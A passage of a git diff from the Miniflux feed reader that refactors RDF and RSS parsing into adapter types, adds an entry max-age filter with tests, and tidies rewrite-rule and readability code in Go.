case "hour": - d = d + (time.Duration(val) * time.Hour) + d += (time.Duration(val) * time.Hour) case "minute": - d = d + (time.Duration(val) * time.Minute) + d += (time.Duration(val) * time.Minute) case "second": - d = d + (time.Duration(val) * time.Second) + d += (time.Duration(val) * time.Second) default: return 0, fmt.Errorf("unknown field %s", name) } @@ -406,3 +432,10 @@ func parseISO8601(from string) (time.Duration, error) { return d, nil } + +func isRecentEntry(entry *model.Entry) bool { + if config.Opts.FilterEntryMaxAgeDays() == 0 || entry.Date.After(time.Now().AddDate(0, 0, -config.Opts.FilterEntryMaxAgeDays())) { + return true + } + return false +} diff --git a/internal/reader/processor/processor_test.go b/internal/reader/processor/processor_test.go index a0d5f6f5..e99a566a 100644 --- a/internal/reader/processor/processor_test.go +++ b/internal/reader/processor/processor_test.go @@ -7,6 +7,7 @@ import ( "testing" "time" + "miniflux.app/v2/internal/config" "miniflux.app/v2/internal/model" ) @@ -92,3 +93,27 @@ func TestParseISO8601(t *testing.T) { } } } + +func TestIsRecentEntry(t *testing.T) { + parser := config.NewParser() + var err error + config.Opts, err = parser.ParseEnvironmentVariables() + if err != nil { + t.Fatalf(`Parsing failure: %v`, err) + } + var scenarios = []struct { + entry *model.Entry + expected bool + }{ + {&model.Entry{Title: "Example1", Date: time.Date(2005, 5, 1, 05, 05, 05, 05, time.UTC)}, true}, + {&model.Entry{Title: "Example2", Date: time.Date(2010, 5, 1, 05, 05, 05, 05, time.UTC)}, true}, + {&model.Entry{Title: "Example3", Date: time.Date(2020, 5, 1, 05, 05, 05, 05, time.UTC)}, true}, + {&model.Entry{Title: "Example4", Date: time.Date(2024, 3, 15, 05, 05, 05, 05, time.UTC)}, true}, + } + for _, tc := range scenarios { + result := isRecentEntry(tc.entry) + if tc.expected != result { + t.Errorf(`Unexpected result, got %v for entry %q`, result, tc.entry.Title) + } + } +} diff --git a/internal/reader/rdf/adapter.go b/internal/reader/rdf/adapter.go new file mode 100644 index 00000000..f90ebaca --- /dev/null +++ b/internal/reader/rdf/adapter.go @@ -0,0 +1,114 @@ +// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +package rdf // import "miniflux.app/v2/internal/reader/rdf" + +import ( + "html" + "log/slog" + "strings" + "time" + + "miniflux.app/v2/internal/crypto" + "miniflux.app/v2/internal/model" + "miniflux.app/v2/internal/reader/date" + "miniflux.app/v2/internal/reader/sanitizer" + "miniflux.app/v2/internal/urllib" +) + +type RDFAdapter struct { + rdf *RDF +} + +func NewRDFAdapter(rdf *RDF) *RDFAdapter { + return &RDFAdapter{rdf} +} + +func (r *RDFAdapter) BuildFeed(baseURL string) *model.Feed { + feed := &model.Feed{ + Title: stripTags(r.rdf.Channel.Title), + FeedURL: strings.TrimSpace(baseURL), + SiteURL: strings.TrimSpace(r.rdf.Channel.Link), + } + + if feed.Title == "" { + feed.Title = baseURL + } + + if siteURL, err := urllib.AbsoluteURL(feed.FeedURL, feed.SiteURL); err == nil { + feed.SiteURL = siteURL + } + + for _, item := range r.rdf.Items { + entry := model.NewEntry() + itemLink := strings.TrimSpace(item.Link) + + // Populate the entry URL. + if itemLink == "" { + entry.URL = feed.SiteURL // Fallback to the feed URL if the entry URL is empty. + } else if entryURL, err := urllib.AbsoluteURL(feed.SiteURL, itemLink); err == nil { + entry.URL = entryURL + } else { + entry.URL = itemLink + } + + // Populate the entry title. + for _, title := range []string{item.Title, item.DublinCoreTitle} { + title = strings.TrimSpace(title) + if title != "" { + entry.Title = html.UnescapeString(title) + break + } + } + + // If the entry title is empty, we use the entry URL as a fallback. + if entry.Title == "" { + entry.Title = entry.URL + } + + // Populate the entry content. + if item.DublinCoreContent != "" { + entry.Content = item.DublinCoreContent + } else { + entry.Content = item.Description + } + + // Generate the entry hash. + hashValue := itemLink + if hashValue == "" { + hashValue = item.Title + item.Description // Fallback to the title and description if the link is empty. + } + + entry.Hash = crypto.Hash(hashValue) + + // Populate the entry date. + entry.Date = time.Now() + if item.DublinCoreDate != "" { + if itemDate, err := date.Parse(item.DublinCoreDate); err != nil { + slog.Debug("Unable to parse date from RDF feed", + slog.String("date", item.DublinCoreDate), + slog.String("link", itemLink), + slog.Any("error", err), + ) + } else { + entry.Date = itemDate + } + } + + // Populate the entry author. + switch { + case item.DublinCoreCreator != "": + entry.Author = stripTags(item.DublinCoreCreator) + case r.rdf.Channel.DublinCoreCreator != "": + entry.Author = stripTags(r.rdf.Channel.DublinCoreCreator) + } + + feed.Entries = append(feed.Entries, entry) + } + + return feed +} + +func stripTags(value string) string { + return strings.TrimSpace(sanitizer.StripTags(value)) +} diff --git a/internal/reader/rdf/parser.go b/internal/reader/rdf/parser.go index 695fb5ce..f743c5d7 100644 --- a/internal/reader/rdf/parser.go +++ b/internal/reader/rdf/parser.go @@ -13,10 +13,10 @@ import ( // Parse returns a normalized feed struct from a RDF feed. func Parse(baseURL string, data io.ReadSeeker) (*model.Feed, error) { - feed := new(rdfFeed) - if err := xml.NewXMLDecoder(data).Decode(feed); err != nil { + xmlFeed := new(RDF) + if err := xml.NewXMLDecoder(data).Decode(xmlFeed); err != nil { return nil, fmt.Errorf("rdf: unable to parse feed: %w", err) } - return feed.Transform(baseURL), nil + return NewRDFAdapter(xmlFeed).BuildFeed(baseURL), nil } diff --git a/internal/reader/rdf/parser_test.go b/internal/reader/rdf/parser_test.go index 146c6c95..021772b4 100644 --- a/internal/reader/rdf/parser_test.go +++ b/internal/reader/rdf/parser_test.go @@ -228,63 +228,117 @@ func TestParseRDFSampleWithDublinCore(t *testing.T) { } } -func TestParseItemWithOnlyFeedAuthor(t *testing.T) { +func TestParseRDFFeedWithEmptyTitle(t *testing.T) { data := ` - - - - Meerkat - http://meerkat.oreillynet.com - Rael Dornfest (mailto:rael@oreilly.com) - - - - XML: A Disruptive Technology - http://c.moreover.com/click/here.pl?r123 - - XML is placing increasingly heavy loads on the existing technical - infrastructure of the Internet. - - + xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" + xmlns="http://purl.org/rss/1.0/"> + + http://example.org/item + + + Example + http://example.org/item + Test + ` - feed, err := Parse("http://meerkat.oreillynet.com", bytes.NewReader([]byte(data))) + feed, err := Parse("http://example.org/feed", bytes.NewReader([]byte(data))) if err != nil { t.Fatal(err) } - if feed.Entries[0].Author != "Rael Dornfest (mailto:rael@oreilly.com)" { - t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author) + if feed.Title != "http://example.org/feed" { + t.Errorf(`Incorrect title, got: %q`, feed.Title) } } -func TestParseItemRelativeURL(t *testing.T) { +func TestParseRDFFeedWithEmptyLink(t *testing.T) { data := ` - - + + + Example Feed + + Example - http://example.org - - - - Title + http://example.org/item Test - something.html - + ` - feed, err := Parse("http://meerkat.oreillynet.com", bytes.NewReader([]byte(data))) + feed, err := Parse("http://example.org/feed", bytes.NewReader([]byte(data))) if err != nil { t.Fatal(err) } - if feed.Entries[0].URL != "http://example.org/something.html" { - t.Errorf("Incorrect entry url, got: %s", feed.Entries[0].URL) + if feed.SiteURL != "http://example.org/feed" { + t.Errorf(`Incorrect SiteURL, got: %q`, feed.SiteURL) + } + + if feed.FeedURL != "http://example.org/feed" { + t.Errorf(`Incorrect FeedURL, got: %q`, feed.FeedURL) + } +} + +func TestParseRDFFeedWithRelativeLink(t *testing.T) { + data := ` + + + Example Feed + /test/index.html + + + Example + http://example.org/item + Test + + ` + + feed, err := Parse("http://example.org/feed", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.SiteURL != "http://example.org/test/index.html" { + t.Errorf(`Incorrect SiteURL, got: %q`, feed.SiteURL) + } + + if feed.FeedURL != "http://example.org/feed" { + t.Errorf(`Incorrect FeedURL, got: %q`, feed.FeedURL) + } +} + +func TestParseRDFFeedSiteURLWithTrailingSpace(t *testing.T) { + data := ` + + + Example Feed + http://example.org/test/index.html + + + Example + http://example.org/item + Test + + ` + + feed, err := Parse("http://example.org/feed", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.SiteURL != "http://example.org/test/index.html" { + t.Errorf(`Incorrect SiteURL, got: %q`, feed.SiteURL) + } + + if feed.FeedURL != "http://example.org/feed" { + t.Errorf(`Incorrect FeedURL, got: %q`, feed.FeedURL) } } @@ -321,63 +375,7 @@ func TestParseItemWithoutLink(t *testing.T) { } } -func TestParseItemWithDublicCoreDate(t *testing.T) { - data := ` - - - Example - http://example.org - - - - Title - Test - http://example.org/test.html - Tester - 2018-04-10T05:00:00+00:00 - - ` - - feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) - if err != nil { - t.Fatal(err) - } - - expectedDate := time.Date(2018, time.April, 10, 5, 0, 0, 0, time.UTC) - if !feed.Entries[0].Date.Equal(expectedDate) { - t.Errorf("Incorrect entry date, got: %v, want: %v", feed.Entries[0].Date, expectedDate) - } -} - -func TestParseItemWithEncodedHTMLInDCCreatorField(t *testing.T) { - data := ` - - - Example - http://example.org - - - - Title - Test - http://example.org/test.html - <a href="http://example.org/author1">Author 1</a> (University 1), <a href="http://example.org/author2">Author 2</a> (University 2) - 2018-04-10T05:00:00+00:00 - - ` - - feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) - if err != nil { - t.Fatal(err) - } - - expectedAuthor := "Author 1 (University 1), Author 2 (University 2)" - if feed.Entries[0].Author != expectedAuthor { - t.Errorf("Incorrect entry author, got: %s, want: %s", feed.Entries[0].Author, expectedAuthor) - } -} - -func TestParseItemWithoutDate(t *testing.T) { +func TestParseItemRelativeURL(t *testing.T) { data := ` @@ -388,90 +386,17 @@ func TestParseItemWithoutDate(t *testing.T) { Title Test - http://example.org/test.html + something.html ` - feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) + feed, err := Parse("http://meerkat.oreillynet.com", bytes.NewReader([]byte(data))) if err != nil { t.Fatal(err) } - expectedDate := time.Now().In(time.Local) - diff := expectedDate.Sub(feed.Entries[0].Date) - if diff > time.Second { - t.Errorf("Incorrect entry date, got: %v", diff) - } -} - -func TestParseItemWithEncodedHTMLTitle(t *testing.T) { - data := ` - - - Example - http://example.org - - - - AT&amp;T - Test - http://example.org/test.html - - ` - - feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) - if err != nil { - t.Fatal(err) - } - - if feed.Entries[0].Title != `AT&T` { - t.Errorf("Incorrect entry title, got: %q", feed.Entries[0].Title) - } -} - -func TestParseInvalidXml(t *testing.T) { - data := `garbage` - _, err := Parse("http://example.org", bytes.NewReader([]byte(data))) - if err == nil { - t.Fatal("Parse should returns an error") - } -} - -func TestParseFeedWithHTMLEntity(t *testing.T) { - data := ` - - - Example   Feed - http://example.org - - ` - - feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) - if err != nil { - t.Fatal(err) - } - - if feed.Title != "Example \u00a0 Feed" { - t.Errorf(`Incorrect title, got: %q`, feed.Title) - } -} - -func TestParseFeedWithInvalidCharacterEntity(t *testing.T) { - data := ` - - - Example Feed - http://example.org/a&b - - ` - - feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) - if err != nil { - t.Fatal(err) - } - - if feed.SiteURL != "http://example.org/a&b" { - t.Errorf(`Incorrect URL, got: %q`, feed.SiteURL) + if feed.Entries[0].URL != "http://example.org/something.html" { + t.Errorf("Incorrect entry url, got: %s", feed.Entries[0].URL) } } @@ -539,6 +464,130 @@ func TestParseFeedWithURLWrappedInSpaces(t *testing.T) { } } +func TestParseRDFItemWitEmptyTitleElement(t *testing.T) { + data := ` + + + Example Feed + http://example.org/ + + + + http://example.org/item + Test + + ` + + feed, err := Parse("http://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries) != 1 { + t.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries)) + } + + expected := `http://example.org/item` + result := feed.Entries[0].Title + if result != expected { + t.Errorf(`Unexpected entry title, got %q instead of %q`, result, expected) + } +} + +func TestParseRDFItemWithDublinCoreTitleElement(t *testing.T) { + data := ` + + + Example Feed + http://example.org/ + + + Dublin Core Title + http://example.org/ + Test + + ` + + feed, err := Parse("http://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries) != 1 { + t.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries)) + } + + expected := `Dublin Core Title` + result := feed.Entries[0].Title + if result != expected { + t.Errorf(`Unexpected entry title, got %q instead of %q`, result, expected) + } +} + +func TestParseRDFItemWithDuplicateTitleElement(t *testing.T) { + data := ` + + + Example Feed + http://example.org/ + + + Item Title + + http://example.org/ + Test + + ` + + feed, err := Parse("http://example.org/", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if len(feed.Entries) != 1 { + t.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries)) + } + + expected := `Item Title` + result := feed.Entries[0].Title + if result != expected { + t.Errorf(`Unexpected entry title, got %q instead of %q`, result, expected) + } +} + +func TestParseItemWithEncodedHTMLTitle(t *testing.T) { + data := ` + + + Example + http://example.org + + + + AT&amp;T + Test + http://example.org/test.html + + ` + + feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.Entries[0].Title != `AT&T` { + t.Errorf("Incorrect entry title, got: %q", feed.Entries[0].Title) + } +} + func TestParseRDFWithContentEncoded(t *testing.T) { data := ` - - - Example Feed - http://example.org/ - - - Item Title - - http://example.org/ + + + Example + http://example.org + + + + Title Test - + http://example.org/test.html + ` - feed, err := Parse("http://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) if err != nil { t.Fatal(err) } - if len(feed.Entries) != 1 { - t.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries)) - } - - expected := `Item Title` - result := feed.Entries[0].Title - if result != expected { - t.Errorf(`Unexpected entry title, got %q instead of %q`, result, expected) + expectedDate := time.Now().In(time.Local) + diff := expectedDate.Sub(feed.Entries[0].Date) + if diff > time.Second { + t.Errorf("Incorrect entry date, got: %v", diff) } } -func TestParseRDFItemWithDublinCoreTitleElement(t *testing.T) { +func TestParseItemWithDublicCoreDate(t *testing.T) { data := ` - - - Example Feed - http://example.org/ - - - Dublin Core Title - http://example.org/ + + + Example + http://example.org + + + + Title Test - + http://example.org/test.html + Tester + 2018-04-10T05:00:00+00:00 + ` - feed, err := Parse("http://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) if err != nil { t.Fatal(err) } - if len(feed.Entries) != 1 { - t.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries)) - } - - expected := `Dublin Core Title` - result := feed.Entries[0].Title - if result != expected { - t.Errorf(`Unexpected entry title, got %q instead of %q`, result, expected) + expectedDate := time.Date(2018, time.April, 10, 5, 0, 0, 0, time.UTC) + if !feed.Entries[0].Date.Equal(expectedDate) { + t.Errorf("Incorrect entry date, got: %v, want: %v", feed.Entries[0].Date, expectedDate) } } -func TestParseRDFItemWitEmptyTitleElement(t *testing.T) { +func TestParseItemWithInvalidDublicCoreDate(t *testing.T) { data := ` - - - Example Feed - http://example.org/ - - - - http://example.org/item + + + Example + http://example.org + + + + Title Test - + http://example.org/test.html + Tester + 20-04-10T05:00:00+00:00 + ` - feed, err := Parse("http://example.org/", bytes.NewReader([]byte(data))) + feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) if err != nil { t.Fatal(err) } - if len(feed.Entries) != 1 { - t.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries)) - } - - expected := `http://example.org/item` - result := feed.Entries[0].Title - if result != expected { - t.Errorf(`Unexpected entry title, got %q instead of %q`, result, expected) + expectedDate := time.Now().In(time.Local) + diff := expectedDate.Sub(feed.Entries[0].Date) + if diff > time.Second { + t.Errorf("Incorrect entry date, got: %v", diff) + } +} + +func TestParseItemWithEncodedHTMLInDCCreatorField(t *testing.T) { + data := ` + + + Example + http://example.org + + + + Title + Test + http://example.org/test.html + <a href="http://example.org/author1">Author 1</a> (University 1), <a href="http://example.org/author2">Author 2</a> (University 2) + 2018-04-10T05:00:00+00:00 + + ` + + feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + expectedAuthor := "Author 1 (University 1), Author 2 (University 2)" + if feed.Entries[0].Author != expectedAuthor { + t.Errorf("Incorrect entry author, got: %s, want: %s", feed.Entries[0].Author, expectedAuthor) + } +} + +func TestParseItemWithOnlyFeedAuthor(t *testing.T) { + data := ` + + + + Meerkat + http://meerkat.oreillynet.com + Rael Dornfest (mailto:rael@oreilly.com) + + + + XML: A Disruptive Technology + http://c.moreover.com/click/here.pl?r123 + + XML is placing increasingly heavy loads on the existing technical + infrastructure of the Internet. + + + ` + + feed, err := Parse("http://meerkat.oreillynet.com", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.Entries[0].Author != "Rael Dornfest (mailto:rael@oreilly.com)" { + t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author) + } +} + +func TestParseInvalidXml(t *testing.T) { + data := `garbage` + _, err := Parse("http://example.org", bytes.NewReader([]byte(data))) + if err == nil { + t.Fatal("Parse should returns an error") + } +} + +func TestParseFeedWithHTMLEntity(t *testing.T) { + data := ` + + + Example   Feed + http://example.org + + ` + + feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.Title != "Example \u00a0 Feed" { + t.Errorf(`Incorrect title, got: %q`, feed.Title) + } +} + +func TestParseFeedWithInvalidCharacterEntity(t *testing.T) { + data := ` + + + Example Feed + http://example.org/a&b + + ` + + feed, err := Parse("http://example.org", bytes.NewReader([]byte(data))) + if err != nil { + t.Fatal(err) + } + + if feed.SiteURL != "http://example.org/a&b" { + t.Errorf(`Incorrect URL, got: %q`, feed.SiteURL) } } diff --git a/internal/reader/rdf/rdf.go b/internal/reader/rdf/rdf.go index 8ce454d7..5adaeeb9 100644 --- a/internal/reader/rdf/rdf.go +++ b/internal/reader/rdf/rdf.go @@ -5,130 +5,27 @@ package rdf // import "miniflux.app/v2/internal/reader/rdf" import ( "encoding/xml" - "html" - "log/slog" - "strings" - "time" - "miniflux.app/v2/internal/crypto" - "miniflux.app/v2/internal/model" - "miniflux.app/v2/internal/reader/date" "miniflux.app/v2/internal/reader/dublincore" - "miniflux.app/v2/internal/reader/sanitizer" - "miniflux.app/v2/internal/urllib" ) -type rdfFeed struct { - XMLName xml.Name `xml:"RDF"` - Title string `xml:"channel>title"` - Link string `xml:"channel>link"` - Items []rdfItem `xml:"item"` - dublincore.DublinCoreFeedElement +// RDF sepcs: https://web.resource.org/rss/1.0/spec +type RDF struct { + XMLName xml.Name `xml:"http://www.w3.org/1999/02/22-rdf-syntax-ns# RDF"` + Channel RDFChannel `xml:"channel"` + Items []RDFItem `xml:"item"` } -func (r *rdfFeed) Transform(baseURL string) *model.Feed { - var err error - feed := new(model.Feed) - feed.Title = sanitizer.StripTags(r.Title) - feed.FeedURL = baseURL - feed.SiteURL, err = urllib.AbsoluteURL(baseURL, r.Link) - if err != nil { - feed.SiteURL = r.Link - } - - for _, item := range r.Items { - entry := item.Transform() - if entry.Author == "" && r.DublinCoreCreator != "" { - entry.Author = r.GetSanitizedCreator() - } - - if entry.URL == "" { - entry.URL = feed.SiteURL - } else { - entryURL, err := urllib.AbsoluteURL(feed.SiteURL, entry.URL) - if err == nil { - entry.URL = entryURL - } - } - - feed.Entries = append(feed.Entries, entry) - } - - return feed +type RDFChannel struct { + Title string `xml:"title"` + Link string `xml:"link"` + Description string `xml:"description"` + dublincore.DublinCoreChannelElement } -type rdfItem struct { +type RDFItem struct { Title string `xml:"http://purl.org/rss/1.0/ title"` Link string `xml:"link"` Description string `xml:"description"` dublincore.DublinCoreItemElement } - -func (r *rdfItem) Transform() *model.Entry { - entry := model.NewEntry() - entry.Title = r.entryTitle() - entry.Author = r.entryAuthor() - entry.URL = r.entryURL() - entry.Content = r.entryContent() - entry.Hash = r.entryHash() - entry.Date = r.entryDate() - - if entry.Title == "" { - entry.Title = entry.URL - } - return entry -} - -func (r *rdfItem) entryTitle() string { - for _, title := range []string{r.Title, r.DublinCoreTitle} { - title = strings.TrimSpace(title) - if title != "" { - return html.UnescapeString(title) - } - } - return "" -} - -func (r *rdfItem) entryContent() string { - switch { - case r.DublinCoreContent != "": - return r.DublinCoreContent - default: - return r.Description - } -} - -func (r *rdfItem) entryAuthor() string { - return r.GetSanitizedCreator() -} - -func (r *rdfItem) entryURL() string { - return strings.TrimSpace(r.Link) -} - -func (r *rdfItem) entryDate() time.Time { - if r.DublinCoreDate != "" { - result, err := date.Parse(r.DublinCoreDate) - if err != nil { - slog.Debug("Unable to parse date from RDF feed", - slog.String("date", r.DublinCoreDate), - slog.String("link", r.Link), - slog.Any("error", err), - ) - return time.Now() - } - - return result - } - - return time.Now() -} - -func (r *rdfItem) entryHash() string { - value := r.Link - if value == "" { - value = r.Title + r.Description - } - - return crypto.Hash(value) -} diff --git a/internal/reader/readability/readability.go b/internal/reader/readability/readability.go index 64e07251..867a4b21 100644 --- a/internal/reader/readability/readability.go +++ b/internal/reader/readability/readability.go @@ -45,11 +45,12 @@ func (c *candidate) String() string { id, _ := c.selection.Attr("id") class, _ := c.selection.Attr("class") - if id != "" && class != "" { + switch { + case id != "" && class != "": return fmt.Sprintf("%s#%s.%s => %f", c.Node().DataAtom, id, class, c.score) - } else if id != "" { + case id != "": return fmt.Sprintf("%s#%s => %f", c.Node().DataAtom, id, c.score) - } else if class != "" { + case class != "": return fmt.Sprintf("%s.%s => %f", c.Node().DataAtom, class, c.score) } @@ -222,7 +223,7 @@ func getCandidates(document *goquery.Document) candidateList { // should have a relatively small link density (5% or less) and be mostly // unaffected by this operation for _, candidate := range candidates { - candidate.score = candidate.score * (1 - getLinkDensity(candidate.selection)) + candidate.score *= (1 - getLinkDensity(candidate.selection)) } return candidates diff --git a/internal/reader/rewrite/rewrite_functions.go b/internal/reader/rewrite/rewrite_functions.go index fcccd358..502d025c 100644 --- a/internal/reader/rewrite/rewrite_functions.go +++ b/internal/reader/rewrite/rewrite_functions.go @@ -14,6 +14,8 @@ import ( "miniflux.app/v2/internal/config" + nethtml "golang.org/x/net/html" + "github.com/PuerkitoBio/goquery" "github.com/yuin/goldmark" goldmarkhtml "github.com/yuin/goldmark/renderer/html" @@ -301,10 +303,6 @@ func replaceTextLinks(input string) string { return textLinkRegex.ReplaceAllString(input, `${1}`) } -func replaceLineFeeds(input string) string { - return strings.ReplaceAll(input, "\n", "
") -} - func replaceCustom(entryContent string, searchTerm string, replaceTerm string) string { re, err := regexp.Compile(searchTerm) if err == nil { @@ -334,7 +332,7 @@ func addCastopodEpisode(entryURL, entryContent string) string { func applyFuncOnTextContent(entryContent string, selector string, repl func(string) string) string { var treatChildren func(i int, s *goquery.Selection) treatChildren = func(i int, s *goquery.Selection) { - if s.Nodes[0].Type == 1 { + if s.Nodes[0].Type == nethtml.TextNode { s.ReplaceWithHtml(repl(s.Nodes[0].Data)) } else { s.Contents().Each(treatChildren) @@ -378,7 +376,8 @@ func addHackerNewsLinksUsing(entryContent, app string) string { return } - if app == "opener" { + switch app { + case "opener": params := url.Values{} params.Add("url", hn_uri.String()) @@ -391,12 +390,12 @@ func addHackerNewsLinksUsing(entryContent, app string) string { open_with_opener := `Open with Opener` a.Parent().AppendHtml(" " + open_with_opener) - } else if app == "hack" { + case "hack": url := strings.Replace(hn_uri.String(), hn_prefix, "hack://", 1) open_with_hack := `Open with HACK` a.Parent().AppendHtml(" " + open_with_hack) - } else { + default: slog.Warn("Unknown app provided for openHackerNewsLinksWith rewrite rule", slog.String("app", app), ) @@ -457,17 +456,3 @@ func removeTables(entryContent string) string { output, _ := doc.Find("body").First().Html() return output } - -func removeClickbait(entryTitle string) string { - titleWords := []string{} - for _, word := range strings.Fields(entryTitle) { - runes := []rune(word) - if len(runes) > 1 { - // keep first rune as is to keep the first capital letter - titleWords = append(titleWords, string([]rune{runes[0]})+strings.ToLower(string(runes[1:]))) - } else { - titleWords = append(titleWords, word) - } - } - return strings.Join(titleWords, " ") -} diff --git a/internal/reader/rewrite/rewriter.go b/internal/reader/rewrite/rewriter.go index 08fa1fa9..b577f687 100644 --- a/internal/reader/rewrite/rewriter.go +++ b/internal/reader/rewrite/rewriter.go @@ -11,6 +11,9 @@ import ( "miniflux.app/v2/internal/model" "miniflux.app/v2/internal/urllib" + + "golang.org/x/text/cases" + "golang.org/x/text/language" ) type rule struct { @@ -18,50 +21,7 @@ type rule struct { args []string } -// Rewriter modify item contents with a set of rewriting rules. -func Rewriter(entryURL string, entry *model.Entry, customRewriteRules string) { - rulesList := getPredefinedRewriteRules(entryURL) - if customRewriteRules != "" { - rulesList = customRewriteRules - } - - rules := parseRules(rulesList) - rules = append(rules, rule{name: "add_pdf_download_link"}) - - slog.Debug("Rewrite rules applied", - slog.Any("rules", rules), - slog.String("entry_url", entryURL), - ) - - for _, rule := range rules { - applyRule(entryURL, entry, rule) - } -} - -func parseRules(rulesText string) (rules []rule) { - scan := scanner.Scanner{Mode: scanner.ScanIdents | scanner.ScanStrings} - scan.Init(strings.NewReader(rulesText)) - - for { - switch scan.Scan() { - case scanner.Ident: - rules = append(rules, rule{name: scan.TokenText()}) - - case scanner.String: - if l := len(rules) - 1; l >= 0 { - text := scan.TokenText() - text, _ = strconv.Unquote(text) - - rules[l].args = append(rules[l].args, text) - } - - case scanner.EOF: - return - } - } -} - -func applyRule(entryURL string, entry *model.Entry, rule rule) { +func (rule rule) applyRule(entryURL string, entry *model.Entry) { switch rule.name { case "add_image_title": entry.Content = addImageTitle(entryURL, entry.Content) @@ -82,7 +42,7 @@ func applyRule(entryURL string, entry *model.Entry, rule rule) { case "add_pdf_download_link": entry.Content = addPDFLink(entryURL, entry.Content) case "nl2br": - entry.Content = replaceLineFeeds(entry.Content) + entry.Content = strings.ReplaceAll(entry.Content, "\n", "
") case "convert_text_link", "convert_text_links": entry.Content = replaceTextLinks(entry.Content) case "fix_medium_images": @@ -122,11 +82,11 @@ func applyRule(entryURL string, entry *model.Entry, rule rule) { case "add_castopod_episode": entry.Content = addCastopodEpisode(entryURL, entry.Content) case "base64_decode": + selector := "body" if len(rule.args) >= 1 { - entry.Content = applyFuncOnTextContent(entry.Content, rule.args[0], decodeBase64Content) - } else { - entry.Content = applyFuncOnTextContent(entry.Content, "body", decodeBase64Content) + selector = rule.args[0] } + entry.Content = applyFuncOnTextContent(entry.Content, selector, decodeBase64Content) case "add_hn_links_using_hack": entry.Content = addHackerNewsLinksUsing(entry.Content, "hack") case "add_hn_links_using_opener": @@ -136,7 +96,46 @@ func applyRule(entryURL string, entry *model.Entry, rule rule) { case "remove_tables": entry.Content = removeTables(entry.Content) case "remove_clickbait": - entry.Title = removeClickbait(entry.Title) + entry.Title = cases.Title(language.English).String(strings.ToLower(entry.Title)) + } +} + +// Rewriter modify item contents with a set of rewriting rules. +func Rewriter(entryURL string, entry *model.Entry, customRewriteRules string) { + rulesList := getPredefinedRewriteRules(entryURL) + if customRewriteRules != "" { + rulesList = customRewriteRules + } + + rules := parseRules(rulesList) + rules = append(rules, rule{name: "add_pdf_download_link"}) + + slog.Debug("Rewrite rules applied", + slog.Any("rules", rules), + slog.String("entry_url", entryURL), + ) + + for _, rule := range rules { + rule.applyRule(entryURL, entry) + } +} + +func parseRules(rulesText string) (rules []rule) { + scan := scanner.Scanner{Mode: scanner.ScanIdents | scanner.ScanStrings} + scan.Init(strings.NewReader(rulesText)) + + for { + switch scan.Scan() { + case scanner.Ident: + rules = append(rules, rule{name: scan.TokenText()}) + case scanner.String: + if l := len(rules) - 1; l >= 0 { + text, _ := strconv.Unquote(scan.TokenText()) + rules[l].args = append(rules[l].args, text) + } + case scanner.EOF: + return + } } } diff --git a/internal/reader/rewrite/rules.go b/internal/reader/rewrite/rules.go index 89204e9d..063e4539 100644 --- a/internal/reader/rewrite/rules.go +++ b/internal/reader/rewrite/rules.go @@ -24,7 +24,7 @@ var predefinedRules = map[string]string{ "monkeyuser.com": "add_image_title", "mrlovenstein.com": "add_image_title", "nedroid.com": "add_image_title", - "oglaf.com": "add_image_title", + "oglaf.com": `replace("media.oglaf.com/story/tt(.+).gif"|"media.oglaf.com/comic/$1.jpg"),add_image_title`, "optipess.com": "add_image_title", "peebleslab.com": "add_image_title", "quantamagazine.org": `add_youtube_video_from_id, remove("h6:not(.byline,.post__title__kicker), #comments, .next-post__content, .footer__section, figure .outer--content, script")`, diff --git a/internal/reader/rss/adapter.go b/internal/reader/rss/adapter.go new file mode 100644 index 00000000..38192714 --- /dev/null +++ b/internal/reader/rss/adapter.go @@ -0,0 +1,370 @@ +// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved. +// SPDX-License-Identifier: Apache-2.0 + +package rss // import "miniflux.app/v2/internal/reader/rss" + +import ( + "html" + "log/slog" + "path" + "strconv" + "strings" + "time" + + "miniflux.app/v2/internal/crypto" + "miniflux.app/v2/internal/model" + "miniflux.app/v2/internal/reader/date" + "miniflux.app/v2/internal/reader/sanitizer" + "miniflux.app/v2/internal/urllib" +) + +type RSSAdapter struct { + rss *RSS +} + +func NewRSSAdapter(rss *RSS) *RSSAdapter { + return &RSSAdapter{rss} +} + +func (r *RSSAdapter) BuildFeed(baseURL string) *model.Feed { + feed := &model.Feed{ + Title: html.UnescapeString(strings.TrimSpace(r.rss.Channel.Title)), + FeedURL: strings.TrimSpace(baseURL), + SiteURL: strings.TrimSpace(r.rss.Channel.Link), + } + + // Ensure the Site URL is absolute. + if siteURL, err := urllib.AbsoluteURL(baseURL, feed.SiteURL); err == nil { + 